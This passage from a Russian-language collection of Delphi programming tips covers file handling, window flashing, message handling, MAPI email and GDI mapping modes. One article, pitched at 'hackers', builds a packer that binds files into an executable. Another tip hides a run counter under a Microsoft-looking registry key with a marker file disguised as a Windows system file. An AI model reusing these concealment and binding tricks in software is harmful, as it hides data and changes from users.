procedure TForm1.FormKeyDownFirstSECOND(Sender: TObject;
 var Key: Word; Shift: TShiftState);
// А потом, где нужно, подставляешь соответствующий адрес
@Form1.FormKeyDown=@Form1.FormKeyDownFIRST 

Хранение нескольких различных файлов в одном исполняемом.

Автор: Павел Часть I. "Пакер" Эта материал открывает цикл статей для юных программеров (и хакеров :)) интересующихся скрытием своей информации (а так же поиском интересной "чужой" :)). Не секрет что у тебя есть много того, что ты бы не хотел показывать ФСБ, друзьям, Васе Пупкину, и прочей "мировой общественности". Конечно можно использовать запароленные архивы и прочую лабуду (например твой сосед может не увидеть скрытый файл на расшареном диске :), но если задуматься, то станет ясно что, чем больше людей использует одинаковые системы защиты, тем быстрее улучшаются методы взлома этих систем (сорри за тавтологию). У тебя ёще не появилось желание написать средство для защиты своей ценнейшей инфы (исходников, рефератов, фоток :) и т.д и т.п.) от посторонних глаз. Ведь если ты что-то написал сам, то только ТЫ знаешь, КАК ОНО ПРЯЧЕТСЯ И ДОСТАЁТСЯ. Наши первые программы будут полезны как программерам, так и хакерам. Это будут Пакер и Анпакер (Packer & Unpacker). В этой статье я опишу только пакер (темы анпакера будут затронуты в следующих статьях). Писать мы его будем на всенародно любимом Delphi (у меня шестая версия, но работать должно и на предыдущих). Суть пакера заключается в следующем: в конец некоего экзешника (.exe) дописываем размер файла который мы потом будем из него доставать, далее следует сам файл, потом размер второго файла, и, собственно, второй. Сразу скажу что под "неким экзешником" я подразумеваю анпакер. Ну, что? Готов? Если да то запускай Делфи и создавай новый проект (File/New/Application). Первым делом назови как-нибудь форму (Caption) (пусть будет что-то типа "Super-Puper-Mega- Packer"). Далее размести на ней OpenDialog и SaveDialog (вкладка Dialogs). Давай сразу посмотрим на настройки OpenDialog'a. Для этого открой Options в Object Insресtоr'е и сделай поля ofPathMastExist и ofFileMastExist равными True. Всё это нужно для того, чтобы файлы которые мы будем прятать реально существовали. В SаvеDiаlоg'е желательно сделать поле ofPathMastExist равным True. Так же размести на форме кнопку (Button) с грозной надписью "GO!", 3 Еdit'а (первым двум Еdit'ам в поле ReadOnly надо поставить True) и 3 SрееdВuttоn'а. У SpeedButton1 сделай поле Tag равным 1 (это понадобится в дальнейшем). Теперь можно занятся дизайном нашего пакера (это не должно вызвать особых проблем :)). Не забудь только загрузить рисунки в SрееdВuttоn'ы. Отличные пикчурсы можно взять (если у тебя стоит полная версия Delphi) из \Program Files\Common Files\Borland Shared\Images\Buttons. Я нацепил на SpeedButton1 и SpeedButton2 Fileopen.bmp, а на SpeedButton3 - Filesave.bmp.

А теперь переходим к самому интересному - к кодингу. Для начала сделаем обработчик SpeedButton1'а OnClick и укажем его же в SpeedButton2. В нем напишем следующий код:

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
    if (Sender as TSpeedButton).Tag = 1 then
      Edit1.Text := OpenDialog1.FileName
    else
      Edit2.Text := OpenDialog1.FileName;
end;

Если пользователь в ОреnDiаlоg'е что-то выбрал, то посмотрим какой из SрееdВuttоn'ов он нажал и присвоим соответствующему Еdit'у новое значение. Можно было бы сделать два OnClick'a (у каждого SрееdВuttоn'а свой) и написать что-то типа:

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
    Edit1.Text := OpenDialog1.FileName;
end;
procedure TForm1.SpeedButton2Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
    Edit2.Text := OpenDialog1.FileName;
end;

Но мне это кажется неспортивным. Да и откомпилированная прога будет жирнее на пару байт :). Далее обратим свой взор на SpeedButton3. Сделаем обработчик OnClick в котором:

procedure TForm1.SpeedButton3Click(Sender: TObject);
begin
  if SaveDialog1.Execute then
    Edit3.Text := SaveDialog1.FileName;
end;

Ну а теперь перейдём к самой интересной кнопке - "GO!". В её ОnСliск'е будет сам упаковщик:

procedure TForm1.Button1Click(Sender: TObject);
var
  f, f2: file;
  buf: array[1..1024] of byte;
  done: integer;
begin
  if not ((FileExists(Edit1.Text)) or (FileExists(Edit2.Text))) then
  begin
    ShowMessage('Неправильно указан путь к файлу');
    Exit;
  end;
  if not FileExists(ExtractFilePath((Application.ExeName)) + 'Unpacker.exe')
    then
  begin
    ShowMessage('Не могу найти Unpacker.exe');
    Exit;
  end;
  AssignFile(f, ExtractFilePath((Application.ExeName)) + 'Unpacker.exe');
  AssignFile(f2, Edit3.Text);
  Reset(f, 1);
  Rewrite(f2, 1);
  while not eof(f) do
  begin
    blockread(f, buf, sizeof(buf), done);
    blockwrite(f2, buf, done);
  end;
  CloseFile(f);
  AssignFile(f, Edit1.Text);
  Reset(f, 1);
  done := FileSize(f);
  blockwrite(f2, done, 4);
  while not eof(f) do
  begin
    blockread(f, buf, sizeof(buf), done);
    blockwrite(f2, buf, done);
  end;
  CloseFile(f);
  AssignFile(f, Edit2.Text);
  Reset(f, 1);
  done := FileSize(f);
  blockwrite(f2, done, 4);
  while not eof(f) do
  begin
    blockread(f, buf, sizeof(buf), done);
    blockwrite(f2, buf, done);
  end;
  CloseFile(f);
end;

Тут всё совсем просто :). Для начала проверяем все ли необходимые для упаковки файлы присутствуют. Далее создаем файл указанный в Edit3.Text и записываем в него распаковщик, размер первого файла, файл, размер второго и второй соответственно (какой-то бутерброд получается :)). Вот и всё! В результате получается .exe который может достать из себя эти 2 файла. Но сейчас это работать не будет, так как нет Unpacker.exe. Его мы напишем в следующий раз. Хотя для любопытных я приведу листинг альфа версии Unраскеr'а:

program Unpacker;
uses classes;
const
  c = 117248;
var
  mem: tmemorystream;
  i: integer;
  done: integer = 0;
  done1: integer;
  f: file;
  buf: array[1..2048] of byte;
begin
  mem := tmemorystream.Create;
  mem.LoadFromFile(paramstr(0));
  mem.Seek(c, soFromBeginning);
  mem.ReadBuffer(i, $4);
  assignfile(f, 'temp1');
  rewrite(f, 1);
  while i >= done + 2048 do
  begin
    done1 := mem.Read(buf, sizeof(buf));
    blockwrite(f, buf, done1);
    done := done + done1;
  end;
  if i > done then
  begin
    done1 := mem.Read(buf, i - done);
    blockwrite(f, buf, done1);
  end;
  closefile(f);
  done := 0;
  mem.ReadBuffer(i, 4);
  assignfile(f, 'temp2');
  rewrite(f, 1);
  while i > done + 2048 do
  begin
    done1 := mem.Read(buf, sizeof(buf));
    blockwrite(f, buf, done1);
    done := done + done1;
  end;
  if i > done then
  begin
    done1 := mem.Read(buf, i - done);
    blockwrite(f, buf, done1);
  end;
  closefile(f);
  mem.Free;
end.

Как прочитать весь файл, в котором несколько признаков конца файла.

Поймали злые чечены академика, математика и программиста. Привели их на крышу высотного дома и сказали, типа внизу натянут тент, кто спрыгнет и на тент попадет, тот типа жив останется. Академик развел теорию, долго чего-то думал, прыгнул - разбился. Математик быстро посчитал, прикинул, все учел, пригнул и попал на тент, вобщем спасся. Программист думает: "Ну, математик все сосчитал, я сейчас так же сделаю." Разбегается, прыгает, и с воплем: "Блин, перепутал знак!" улетает в небо...
В текстовом файле, который обрабатывает программа, неоднократно встречается признак конца файла (как этот файл создавался никто и понятия не имеет), и как следствие если читать файл while not (eof), то он будет прочитан до первого встреченного символа конца файла :(. Как прочитать весь файл?

Перепишем ваш файл a.dat в файл b.dat, удалив признаки конца файла:

var
  f1,f2 :file of Byte;
  a :Byte;
  i :Longint;
begin
  {$I-}
  AssignFile(f1, 'a.dat');
  AssignFile(f2, 'b.dat');
  Reset(f1);
  Rewrite(f2);
  for i := 1 to FileSize(f1) do
  begin
     Read(f1, a);
     if a <> 26 then Write(f2, a);
  end;
  CloseFile(f1);
  CloseFile(f2);
end.

Подсветить кнопку программы на панели задач несколько раз.

// Define FLASHWINFO structure as record type 
type 
  FLASHWINFO = record 
    cbSize: UINT; 
    hWnd: HWND; 
    dwFlags: DWORD; 
    uCount: UINT; 
    dwTimeOut: DWORD; 
  end; 
  TFlashWInfo = FLASHWINFO; 
  // Define dwFlags constants 
const 
  FLASHW_STOP = 0; 
  FLASHW_CAPTION = 1; 
  FLASHW_TRAY = 2; 
  FLASHW_ALL = FLASHW_CAPTION or FLASHW_TRAY; 
  FLASHW_TIMER = 4; 
  FLASHW_TIMERNOFG = 12; 
var 
  Form1: TForm1; 
  FWInfo: TFlashWInfo; 
  // Function declaration for WinAPI call 
function FlashWindowEx(var pfwi: FLASHWINFO): BOOL; stdcall; 
  {...} 
implementation 
{...} 
// Import external function from 'USER32.DLL' with the same name 
function FlashWindowEx; external user32 Name 'FlashWindowEx'; 
procedure TForm1.FormCreate(Sender: TObject); 
begin 
  // Check for API function's availability 
  if not Assigned(@FlashWindowEx) then 
  begin 
    ShowMessage('API Function FlashWindowEx is not present... Exit program!'); 
    Application.Terminate; 
  end 
  else 
    // Set default parameters 
    with FWInfo do 
    begin 
      cbSize    := SizeOf(FWInfo);  // Size of structure in bytes 
      hWnd      := Form1.Handle;      // Main's form handle 
      dwFlags   := FLASHW_ALL;     // Flash both caption & task bar 
      uCount    := 10;              // Flash 10 times 
      dwTimeOut := 100;          // Timeout is 1/10 second apart 
    end; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  // Flash on normal state 
  FlashWindowEx(FWInfo); 
end; 
procedure TForm1.Button2Click(Sender: TObject); 
begin 
  // Flash on minimized state 
  WindowState := wsMinimized;  // Application.Minimize; 
  FlashWindowEx(FWInfo); 
end;

Несколько методов, обрабатывающих одно сообщение.

Статьи по Delphi (011)…
unit ManyForm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TFormManyMess = class(TForm)
    LBox: TListBox;
    Label1: TLabel;
    Button1: TButton;
    procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    procedure WndProc(var Message: TMessage); override;
    procedure DefaultHandler(var Message); override;
    procedure WmLButtonDown (var Message: TWMMouse);
      message wm_lButtonDown;
    procedure MouseDown(Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer); override;
    procedure ApplicationMessage (var Msg: TMsg;
      var Handled: Boolean);
  end;
var
  FormManyMess: TFormManyMess;
implementation
{$R *.DFM}
procedure TFormManyMess.FormMouseDown(Sender: TObject;
  Button: TMouseButton; Shift: TShiftState;
  X, Y: Integer);
begin
  if Button = mbLeft then
    LBox.Items.Add (Format ('%s in (%d, %d)',
      ['FormMouseDown', X, Y]));
end;
procedure TFormManyMess.WndProc(var Message: TMessage);
begin
  if Message.Msg = wm_LButtonDown then
    LBox.Items.Add (Format ('%s in (%d, %d)',
      ['WndProc', LoWord (Message.LParam),
      HiWord (Message.LParam)]));
  inherited;
end;
procedure TFormManyMess.DefaultHandler(var Message);
begin
  with TMessage (Message) do
    if Msg = wm_LButtonDown then
      LBox.Items.Add (Format ('%s in (%d, %d)',
        ['DefaultHandler', LoWord (LParam),
        HiWord (LParam)]));
  inherited;
end;
procedure TFormManyMess.WmLButtonDown (var Message: TWMMouse);
begin
  LBox.Items.Add (Format ('%s in (%d, %d)',
    ['WmLButtonDown', Message.XPos, Message.YPos]));
  inherited;
end;
procedure TFormManyMess.MouseDown(Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  if Button = mbLeft then
    LBox.Items.Add (Format ('%s in (%d, %d)',
      ['MouseDown', X, Y]));
  inherited;
end;
procedure TFormManyMess.ApplicationMessage (var Msg: TMsg;
  var Handled: Boolean);
begin
  if (Msg.Message = wm_LButtonDown) and
      (Msg.hWnd = Handle) then
    LBox.Items.Add (Format ('%s in (%d, %d)',
      ['ApplicationMessage', LoWord (Msg.LParam),
      HiWord (Msg.LParam)]));
  Handled := False;
end;
procedure TFormManyMess.FormCreate(Sender: TObject);
begin
  Application.OnMessage := ApplicationMessage;
end;
procedure TFormManyMess.Button1Click(Sender: TObject);
begin
  LBox.Clear;
end;
end.

Загрузить исходный код проекта.

Программа запускается только нужное количество раз.

Программа похожа на женщину. Либо она хорошая, либо бесплатная.

Если ты хочешь воспользоваться системным реестром для достижения своей цели тогда объяви в разделе uses (в начале модуля) модуль Registry - выглядеть это будет примерно так:

uses
  Registry;

А потом по созданию окна напиши следующий код:

procedure TForm1.FormCreate(Sender: TObject);
var
  a: TRegistry;
  Count: Integer;
begin
  if FileExists('c:\Windows\kernel.fhd') = false then
  begin
    a := TRegistry.Create;
    with a do
    begin
      RootKey := HKEY_LOCAL_MACHINE;
      OpenKey('\Software\Microsoft\oor', true);
      WriteInteger('RunCount', 1);
      CloseKey;
      Free;
    end;
    FileCreate('c:\Windows\kernel.fhd');
  end
  else
  begin
    a:=TRegistry.Create;
    with a do
    begin
      RootKey := HKEY_LOCAL_MACHINE;
      OpenKey('\Software\Microsoft\oor', true);
      Count := ReadInteger('RunCount');
      CloseKey;
      Free;
    end;
    if Count = 3 then
      halt;
    else
    begin
      Inc(Count);
      a := TRegistry.Create;
      with a do
      begin
        RootKey := HKEY_LOCAL_MACHINE;
        OpenKey('\Software\Microsoft\oor', true);
        WriteInteger('RunCount', Count);
        CloseKey;
        Free;
      end;
      FileCreate('c:\Windows\kernel.fhd');
    end;
  end;
end;

Сохранить несколько потоков в сжатый зашифрованный файл.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
 This example shows you how to save many streams into a single file and load it again. 
 You need to install the HKStream component from the Demo-Download. 
 The HKStreams component enables you to store streams with LHA compression if wanted, 
 and can also be  encrypted with blowfish. 
 THKStreams is also smart, if you load afterwards an encrypted or compressed (or both) file, 
 it will now how to read it, and can also call your event that asks the user 
 for a password if needed. 
 In the following example we will store several components 
 (TMemo, TListbox, some other controls) 
 and a Version-Information in a single file and then read it back. 
 THKStreams enables you to write your own file format and easily access streams 
 in a file, as they are stored in different sections. 
}
 { 
 Dieses Beispiel zeigt, wie man mehrere Stream in eine Datei speichern kann. 
 Dafur wird die THKStreams Komponente verwendet, welche es unter anderem erlaubt, 
 eine Datei mit LHA zu komprimieren und mit Blowfish zu verschlussseln. 
 Auch kann einer Datei ein Passwort hinzugefugt werden, welches dann beim Offnen 
 der Datei vom Benutzer eingegeben werden muss. 
 Im Beispiel werden einige Komponenten wie TMemo, TListbox und diverse Controls einer 
 Groupbox und Versions-Informationen in einer einzigen Datei gespeichert. 
 Mit der THKStreams Komponente kann man leicht sein eigenes Dateiformat schreiben und 
 sehr einfach auf Streams zugreifen, da diese in einzelne Sektionen unterteilt sind. 
}
 uses
   HKStreamCol; { from Demo-Download }
 private
     { Private declarations }
     function SaveHKFile(FileName: TFileName): boolean;
     function LoadHKFile(FileName: TFileName): boolean;
   public
     { Public declarations }
   end;
 implementation
 {$R *.dfm}
 //-------------------------------------------------------- 
// Save our File 
function TfrmMain.SaveHKFile(FileName: TFileName): Boolean;
 //-------------------------------------------------------- 
var
   ms: TMemoryStream;
   i: integer;
   s: string;
   StrList: TStringList;
 begin
   ms := TMemoryStream.Create;
   try
     with HKStreams1 do
     begin
       // Version Info 
      //-------------------------------- 
      i := 1;
       ms.Write(I, SizeOf(I));
       AddStream('Version-Info', ms);
       ms.Clear;
       // Author Info 
      //-------------------------------- 
      s := 'Your Name';
       ms.WriteBuffer(s[1], Length(s));
       AddStream('Author-Info', ms);
       ms.Clear;
       // Memo1 
      //-------------------------------- 
      Memo1.Lines.SaveToStream(ms);
       AddStream('Memo1', ms);
       ms.Clear;
       // ListBox1 
      //------------------------------- 
      ListBox1.Items.SaveToStream(ms);
       AddStream('ListBox1', ms);
       ms.Clear;
       // Different Controls on Groupbox1 
      //------------------------------- 
      // Look at the Demo for GetSettings implementation 
      StrList := TStringList.Create;
       try
         GetSettings(StrList, GroupBox1);
         StrList.SaveToStream(ms);
       finally
         StrList.Free;
       end;
       AddStream('Settings', ms);
       ms.Clear;
       // Save everything 
      // ----------------------------- 
      SaveToFile(FileName);
       ClearStreams;
     end; {with}
   finally
     ms.Free;
   end;
 end;
 //-------------------------------------------------------- 
// Load our File 
function TfrmMain.LoadHKFile(FileName: TFileName): Boolean;
 //-------------------------------------------------------- 
var
   ms: TMemoryStream;
   i: Integer;
   s: string;
   StrList: TStringList;
 begin
   if not FileExists(FileName) then
   begin
     ShowMessage('File not found');
     // Customize Error handling... 
    Exit;
   end;
   try
     HKStreams1.LoadFromFile(FileName);
   except
     on ECorruptFile do Exit;
     on EStreamError do Exit;
   end;
   ms := TMemoryStream.Create;
   try
     with HKStreams1 do
     begin
       // Version Info 
      //-------------------------------- 
      GetStream('Version-Info', ms);
       ms.read(i, SizeOf(i));
       label1.Caption := 'Version: ' + IntToStr(i);
       ms.Clear;
       // Author Info 
      //-------------------------------- 
      GetStream('Author-Info', ms);
       SetLength(S, ms.Size);
       ms.read(S[1], ms.Size);
       Label2.Caption := 'Author: ' + s;
       ms.Clear;
       // Memo1 
      //-------------------------------- 
      GetStream('Memo1', ms);
       Memo1.Lines.LoadFromStream(ms);
       ms.Clear;
       // ListBox1 
      //------------------------------- 
      GetStream('ListBox1', ms);
       ListBox1.Items.LoadFromStream(ms);
       ms.Clear;
       // Different Controls on Groupbox1 
      //------------------------------- 
      // Look at the Demo for SetSettings implementation 
      GetStream('Settings', ms);
       StrList := TStringList.Create;
       try
         StrList.LoadFromStream(ms);
         SetSettings(StrList);
       finally
         StrList.Free;
       end;
       { ----------------------------- }
       ClearStreams;
     end; {with}
   finally
     ms.Free;
   end;
 end;
 //-------------------------------------------------------- 
// Save Dialog 
procedure TfrmMain.btnSaveClick(Sender: TObject);
 //-------------------------------------------------------- 
begin
   if SaveDialog1.Execute then
   begin
     SaveHKFile(SaveDialog1.FileName);
   end;
   // Clear controls 
  ListBox1.Clear;
   Memo1.Clear;
   Edit1.Clear;
   Edit2.Clear;
   Edit3.Clear;
   Edit4.Clear;
   CheckBox1.Checked := not CheckBox1.Checked;
   CheckBox2.Checked := not CheckBox2.Checked;
 end;
 //-------------------------------------------------------- 
// Open Dialog 
procedure TfrmMain.btnLoadClick(Sender: TObject);
 //-------------------------------------------------------- 
begin
   if OpenDialog1.Execute then
   begin
     LoadHKFile(OpenDialog1.FileName);
   end;
 end;

Несколько таблиц в одном TDBGrid.

Сидят два мужика и на лаптоп Винды генерят, а ничего не получается, потому как Винды... и на лаптоп. Примерно на восьмой инсталляции один из них меланхолично отмечает весь каталог с его подкалогами и тянется к кнопке. Второй и говорит: - Ты чего это делаешь?! - Как чего? Виндов бью! - А зачем? - Бей Виндов - спасай Россию...
Насколько я знаю, единственное легкое решение заключается в использовании вычисляемых полей.

Для того, чтобы поместить данные из нескольких таблиц в один DBGrid, нужно воспользоваться объектом TQuery. На заметку: используйте TQuery в режиме только для чтения, если вы не можете обеспечить гарантию выполнения некоторых из его руководящих принципов, один из которых - данные могут быть получены только от одной таблицы.

Несколько таблиц в одном TDBGrid 2.

Купили программеры компьютеры. В первый день позапускали все программы. Во второй день форматнули все винты. В третий день позапускали все, что можно и отформатнули все, что можно. А потом пришел хакер и тут такое началось...

Если у вас D2, вы можете воспользоваться свойством Lookup. Для этого выберите в контекстном меню объекта table редактор полей (fields editor). Затем для добавления нового поля нажмите +N. Просто раскройте combobox и выберите lookup-поле. TDBGrid автоматически создаст выпадающий список, в котором пользователь сможет выбрать нужный элемент.

MAPI и MS Exchange.

Модема-модема, чукча почту хочет!

Используйте для регистрации:

MapiLogon(application.handle,nil,nil,mapi_use_default,0,@mapihandle);

Чтобы послать сообщение:

MapiSendMail(mapihandle, 0,MapiMessage,0, 0);
Убедитесь, что поля SUBJECT, RECIP и NOTTEXT в структуре MapiMessage заполнены, в противном случае сообщение отправлено не будет.

Также, с помощью API функции GetWindowHandle, необходимо убедиться в том, что Exchange запущен, в противном случае для запуска клиента используйте ShellExecute.

Отослать письмо с аттачем через MAPI.

- ИТ обеспечение. - Это Пупкин из отдела продаж. Я получил от вас письмо, что нужно выключать компьютер на ночь. - Правильно. Вы умеете это делать? - А вы думаете, я идиот?!!! Только мне, к сожалению, нельзя этого делать. Мне ночью отправляют очень много важных писем, и я тогда их не получу...
uses 
  Mapi; 
function SendEMail(Handle: THandle; Mail: TStrings): Cardinal; 
type 
  TAttachAccessArray = array [0..0] of TMapiFileDesc; 
  PAttachAccessArray = ^TAttachAccessArray; 
var 
  MapiMessage: TMapiMessage; 
  Receip: TMapiRecipDesc; 
  Attachments: PAttachAccessArray; 
  AttachCount: Integer; 
  i1: integer; 
  FileName: string; 
  dwRet: Cardinal; 
  MAPI_Session: Cardinal; 
  WndList: Pointer; 
begin 
  dwRet := MapiLogon(Handle, 
    PChar(''), 
    PChar(''), 
    MAPI_LOGON_UI or MAPI_NEW_SESSION, 
    0, @MAPI_Session); 
  if (dwRet <> SUCCESS_SUCCESS) then 
  begin 
    MessageBox(Handle, 
      PChar('Error while trying to send email'), 
      PChar('Error'), 
      MB_ICONERROR or MB_OK); 
  end 
  else 
  begin 
    FillChar(MapiMessage, SizeOf(MapiMessage), #0); 
    Attachments := nil; 
    FillChar(Receip, SizeOf(Receip), #0); 
    if Mail.Values['to'] <> '' then 
    begin 
      Receip.ulReserved := 0; 
      Receip.ulRecipClass := MAPI_TO; 
      Receip.lpszName := StrNew(PChar(Mail.Values['to'])); 
      Receip.lpszAddress := StrNew(PChar('SMTP:' + Mail.Values['to'])); 
      Receip.ulEIDSize := 0; 
      MapiMessage.nRecipCount := 1; 
      MapiMessage.lpRecips := @Receip; 
    end; 
    AttachCount := 0; 
    for i1 := 0 to MaxInt do 
    begin 
      if Mail.Values['attachment' + IntToStr(i1)] = '' then 
        break; 
      Inc(AttachCount); 
    end; 
    if AttachCount > 0 then 
    begin 
      GetMem(Attachments, SizeOf(TMapiFileDesc) * AttachCount); 
      for i1 := 0 to AttachCount - 1 do 
      begin 
        FileName := Mail.Values['attachment' + IntToStr(i1)]; 
        Attachments[i1].ulReserved := 0; 
        Attachments[i1].flFlags := 0; 
        Attachments[i1].nPosition := ULONG($FFFFFFFF); 
        Attachments[i1].lpszPathName := StrNew(PChar(FileName)); 
        Attachments[i1].lpszFileName := 
          StrNew(PChar(ExtractFileName(FileName))); 
        Attachments[i1].lpFileType := nil; 
      end; 
      MapiMessage.nFileCount := AttachCount; 
      MapiMessage.lpFiles := @Attachments^; 
    end; 
    if Mail.Values['subject'] <> '' then 
      MapiMessage.lpszSubject := StrNew(PChar(Mail.Values['subject'])); 
    if Mail.Values['body'] <> '' then 
      MapiMessage.lpszNoteText := StrNew(PChar(Mail.Values['body'])); 
    WndList := DisableTaskWindows(0); 
    try 
    Result := MapiSendMail(MAPI_Session, Handle, 
      MapiMessage, MAPI_DIALOG, 0); 
    finally 
      EnableTaskWindows( WndList ); 
    end; 
    for i1 := 0 to AttachCount - 1 do 
    begin 
      StrDispose(Attachments[i1].lpszPathName); 
      StrDispose(Attachments[i1].lpszFileName); 
    end; 
    if Assigned(MapiMessage.lpszSubject) then 
      StrDispose(MapiMessage.lpszSubject); 
    if Assigned(MapiMessage.lpszNoteText) then 
      StrDispose(MapiMessage.lpszNoteText); 
    if Assigned(Receip.lpszAddress) then 
      StrDispose(Receip.lpszAddress); 
    if Assigned(Receip.lpszName) then 
      StrDispose(Receip.lpszName); 
    MapiLogOff(MAPI_Session, Handle, 0, 0); 
  end; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
var 
  mail: TStringList; 
begin 
  mail := TStringList.Create; 
  try 
    mail.values['to'] := 'Receiver-Email@test.xyz'; 
    mail.values['subject'] := 'Hello'; 
    mail.values['body'] := 'blah'; 
    mail.values['body'] := 'blah'; 
    mail.values['attachment0'] := 'C:\Test.txt'; 
    // mail.values['attachment1']:='C:\Test2.txt'; 
    sendEMail(Application.Handle, mail); 
  finally 
    mail.Free; 
  end; 
end;

Изменить режим координат.

Автор: Xavier Pacheco

{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
unit MainFrm;
interface
uses
  SysUtils, Windows, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, Menus, DB, DBCGrids, DBTables;
type
  TMainForm = class(TForm)
    mmMain: TMainMenu;
    mmiMappingMode: TMenuItem;
    mmiMM_ISOTROPIC: TMenuItem;
    mmiMM_ANSITROPIC: TMenuItem;
    mmiMM_LOENGLISH: TMenuItem;
    mmiMM_HIINGLISH: TMenuItem;
    mmiMM_LOMETRIC: TMenuItem;
    mmiMM_HIMETRIC: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure mmiMM_ISOTROPICClick(Sender: TObject);
    procedure mmiMM_ANSITROPICClick(Sender: TObject);
    procedure mmiMM_LOENGLISHClick(Sender: TObject);
    procedure mmiMM_HIINGLISHClick(Sender: TObject);
    procedure mmiMM_LOMETRICClick(Sender: TObject);
    procedure mmiMM_HIMETRICClick(Sender: TObject);
  public
    MappingMode: Integer;
    procedure ClearCanvas;
    procedure DrawMapMode(Sender: TObject);
  end;
var
  MainForm: TMainForm;
implementation
{$R *.DFM}
procedure TMainForm.ClearCanvas;
begin
  with Canvas do
  begin
    Brush.Style := bsSolid;
    Brush.Color := clWhite;
    FillRect(ClipRect);
  end;
end;
procedure TMainForm.DrawMapMode(Sender: TObject);
var
  PrevMapMode: Integer;
begin
  ClearCanvas;
  Canvas.TextOut(0, 0, (Sender as TMenuItem).Caption);
  // Set mapping mode to MM_LOENGLISH and save the previous mapping mode
  PrevMapMode := SetMapMode(Canvas.Handle, MappingMode);
  try
    // Set the viewport org to left, bottom
    SetViewPortOrgEx(Canvas.Handle, 0, ClientHeight, nil);
    { Draw some shapes to illustrate drawing shapes with different
      mapping modes specified by MappingMode }
    Canvas.Rectangle(0, 0, 200, 200);
    Canvas.Rectangle(200, 200, 400, 400);
    Canvas.Ellipse(200, 200, 400, 400);
    Canvas.MoveTo(0, 0);
    Canvas.LineTo(400, 400);
    Canvas.MoveTo(0, 200);
    Canvas.LineTo(200, 0);
  finally
    // Restore previous mapping mode
    SetMapMode(Canvas.Handle, PrevMapMode);
  end;
end;
procedure TMainForm.FormCreate(Sender: TObject);
begin
  MappingMode := MM_TEXT;
end;
procedure TMainForm.mmiMM_ISOTROPICClick(Sender: TObject);
var
  PrevMapMode: Integer;
begin
  ClearCanvas;
  // Set mapping mode to MM_ISOTROPIC and save the previous mapping mode
  PrevMapMode := SetMapMode(Canvas.Handle, MM_ISOTROPIC);
  try
    // Set the window extent to 500 x 500
    SetWindowExtEx(Canvas.Handle, 500, 500, nil);
    // Set the Viewport extent to the Window's client area
    SetViewportExtEx(Canvas.Handle, ClientWidth, ClientHeight, nil);
    // Set the ViewPortOrg to the center of the client area
    SetViewportOrgEx(Canvas.Handle, ClientWidth div 2, ClientHeight div 2, nil);
    // Draw a rectangle based on current settings
    Canvas.Rectangle(0, 0, 250, 250);
    { Set the viewport extent to a different value, and
      draw another rectangle. continue to do this three
      more times so that a rectangle is draw to represent
      the plane in a four-quadrant square }
    SetViewportExtEx(Canvas.Handle, ClientWidth, -ClientHeight, nil);
    Canvas.Rectangle(0, 0, 250, 250);
    SetViewportExtEx(Canvas.Handle, -ClientWidth, -ClientHeight, nil);
    Canvas.Rectangle(0, 0, 250, 250);
    SetViewportExtEx(Canvas.Handle, -ClientWidth, ClientHeight, nil);
    Canvas.Rectangle(0, 0, 250, 250);
    // Draw an ellipse in the center of the client area
    Canvas.Ellipse(-50, -50, 50, 50);
  finally
    // Restore the previous mapping mode
    SetMapMode(Canvas.Handle, PrevMapMode);
  end;
end;
procedure TMainForm.mmiMM_ANSITROPICClick(Sender: TObject);
var
  PrevMapMode: Integer;
begin
  ClearCanvas;
  // Set the mapping mode to MM_ANISOTROPIC and save the previous mapping mode
  PrevMapMode := SetMapMode(Canvas.Handle, MM_ANISOTROPIC);
  try
    // Set the window extent to 500 x 500
    SetWindowExtEx(Canvas.Handle, 500, 500, nil);
    // Set the Viewport extent to that of the Window's client area
    SetViewportExtEx(Canvas.Handle, ClientWidth, ClientHeight, nil);
    // Set the ViewPortOrg to the center of the client area
    SetViewportOrgEx(Canvas.Handle, ClientWidth div 2, ClientHeight div 2, nil);
    // Draw a rectangle based on current settings
    Canvas.Rectangle(0, 0, 250, 250);
    { Set the viewport extent to a different value, and
      draw another rectangle. continue to do this three
      more times so that a rectangle is draw to represent
      the plane in a four-quadrant square }
    SetViewportExtEx(Canvas.Handle, ClientWidth, -ClientHeight, nil);
    Canvas.Rectangle(0, 0, 250, 250);
    SetViewportExtEx(Canvas.Handle, -ClientWidth, -ClientHeight, nil);
    Canvas.Rectangle(0, 0, 250, 250);
    SetViewportExtEx(Canvas.Handle, -ClientWidth, ClientHeight, nil);
    Canvas.Rectangle(0, 0, 250, 250);
    // Draw an ellipse in the center of the client area
    Canvas.Ellipse(-50, -50, 50, 50);
  finally
    //Restore the previous mapping mode
    SetMapMode(Canvas.Handle, PrevMapMode);
  end;
end;
procedure TMainForm.mmiMM_LOENGLISHClick(Sender: TObject);
begin
  MappingMode := MM_LOENGLISH;
  DrawMapMode(Sender);
end;
procedure TMainForm.mmiMM_HIINGLISHClick(Sender: TObject);
begin
  MappingMode := MM_HIENGLISH;
  DrawMapMode(Sender);
end;
procedure TMainForm.mmiMM_LOMETRICClick(Sender: TObject);
begin
  MappingMode := MM_LOMETRIC;
  DrawMapMode(Sender);
end;
procedure TMainForm.mmiMM_HIMETRICClick(Sender: TObject);
begin
  MappingMode := MM_HIMETRIC;
  DrawMapMode(Sender);
end;
end.

Отобразить строку специфической записи.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

type
   TEmployee = record
     cNo: array [0..3] of Char;
     cName: array [0..7] of Char;
   end;
   PEmployee = ^TEmployee;
 procedure ParseData;
 const
   sData = '0001Mosquito';
 var
   sNo, sName: string;
 begin
   with PEmployee(Pointer((@sData)^))^ do
    begin
     sNo   := cNo;        // sNo = '0001' 
